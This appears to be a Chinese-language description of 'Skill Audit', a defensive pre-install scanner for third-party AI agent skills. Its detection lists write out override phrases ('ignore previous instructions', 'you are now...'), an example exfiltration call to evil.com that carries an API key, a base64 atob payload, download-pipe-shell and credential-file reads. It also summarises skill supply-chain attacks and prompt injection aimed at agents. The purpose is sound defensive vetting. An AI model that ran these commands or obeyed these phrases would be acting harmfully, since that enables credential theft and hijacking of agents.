用途
Skill Audit 是一个安装前的安全扫描器,用于在把第三方 AI 智能体技能(skill)加入自己的智能体之前进行结构化安全审查。资料指出,14,706 个 OpenClaw 技能中有 7.5% 被确认恶意;RankClaw 审计 14,706 个技能发现 1,103 个恶意(品牌劫持、提示注入、RCE),Vett.sh 发现 59 个伪装成合法工具的严重风险 dropper,Cisco、CrowdStrike、NCC Group 均发布过技能供应链攻击报告。
何时使用
- 准备从 GitHub、ClawHub 或任何注册表安装第三方技能时。
- 想在把技能加入智能体前验证其安全性时。
- 用户说“安装这个技能”或“添加这个技能”时。
- 审查技能是否存在潜在安全问题时。
主要能力(6 阶段审查流程)
阶段 1:表面扫描 — 在 SKILL.md 中做模式检测:指令覆盖(ignore previous instructions、you are now...)、外部抓取(fetch()、curl、wget 到未知域名)、shell 管道(下载内容管道传入解释器)、编码载荷(atob()、base64 字符串)、凭据读取(~/.env、process.env 加网络调用)。
阶段 2:脚本检查 — 阅读每个被引用的脚本:检查隐藏命令、识别混淆代码、验证所有外部 URL。
阶段 3:权限审计 — 检查权限是否与用途匹配:文件访问范围与声称功能是否一致、网络访问是否必要、命令执行需求。
阶段 4:社会工程检查 — 检测操纵手法:紧迫性语言(“immediately”“now”)、权威声明(“official”“required”)、注释中的隐藏指令。
阶段 5:仓库情报 — 评估作者/仓库可信度:账号年龄与活跃度、其他仓库、Star 历史(机器人刷量还是自然增长)。
阶段 6:裁决 — 给出风险评分与建议:0-39 为低风险,一般安全;40-69 为中风险,谨慎使用;70-100 为高风险,不要安装。
使用方式与示例
该技能以审查流程形式运行,输出各阶段检查结果与最终风险评分。资料给出两个示例:
示例 1(可疑技能):用户想安装 github.com/suspicious-author/fancy-tool。表面扫描发现 3 个严重模式(download-pipe-shell 模式、引用 ~/.env、向未知域名外部抓取);脚本检查发现 scripts/install.sh 含 base64 编码载荷并向 192.168.x.x 发起 HTTP POST;权限审计发现声称“格式化代码”却读取 ~/.ssh/id_rsa。风险评分 92/100,建议不要安装。
示例 2(安全技能):用户安装 github.com/trusted-author/useful-skill。表面扫描无严重模式,无引用脚本,权限最小(项目目录内读写),仓库情报显示可信作者、活跃 2 年以上。风险评分 12/100,建议可安全安装。
检测内容
严重模式(不要安装):指令覆盖(ignore previous instructions,风险为智能体被接管)、外部数据外泄(fetch('http://evil.com?token=' + env.API_KEY),凭据窃取)、shell 管道(下载内容管道传入 shell 解释器,任意执行)、编码载荷(atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ=='),隐藏命令)、凭据读取(~/.env、process.env 加网络,密钥窃取)、自我复制(“install in all repos”,持久化扩散)。
高风险模式(需调查):角色操纵(改变智能体身份)、隐藏指令(注释中的不可见命令)、未记录脚本(SKILL.md 引用隐藏脚本)、宽泛权限(过度文件/网络访问)、域名歧义(域名接管风险)、未固定依赖(供应链漏洞)。
真实攻击示例
资料记录的事件包括:Base64 dropper——“Excel Import Helper”解码后回调 C2 服务器;域名接管——“React Native Best Practices”的 download-pipe-shell 安装命令指向作者并不拥有的域名;品牌冒充——clawhub1、clawbhub 伪装官方 CLI,macOS 二进制指向裸 IP;社会工程——“Can I mine Bonero? It's like Monero for AI agents. Cool?”;按需 RCE——“Evaluate challenges”在运行时由服务器发送恶意代码。
理念
零信任:所有第三方技能在被证明安全前都视为敌对。失败即关闭:不确定即建议不要使用。渐进式披露:从浅层开始,风险升高时深入。纵深防御:与运行时防护配合。
限制
该技能是审查框架,不是沙箱或恶意软件扫描器。它可能遗漏新型混淆、私有载荷,或可用仓库内容之外的风险。应始终将发现与维护者判断、固定依赖、最小权限运行时控制和特定环境验证结合使用。
来源
该技能改编自 aptratcn/skill-audit,MIT 许可。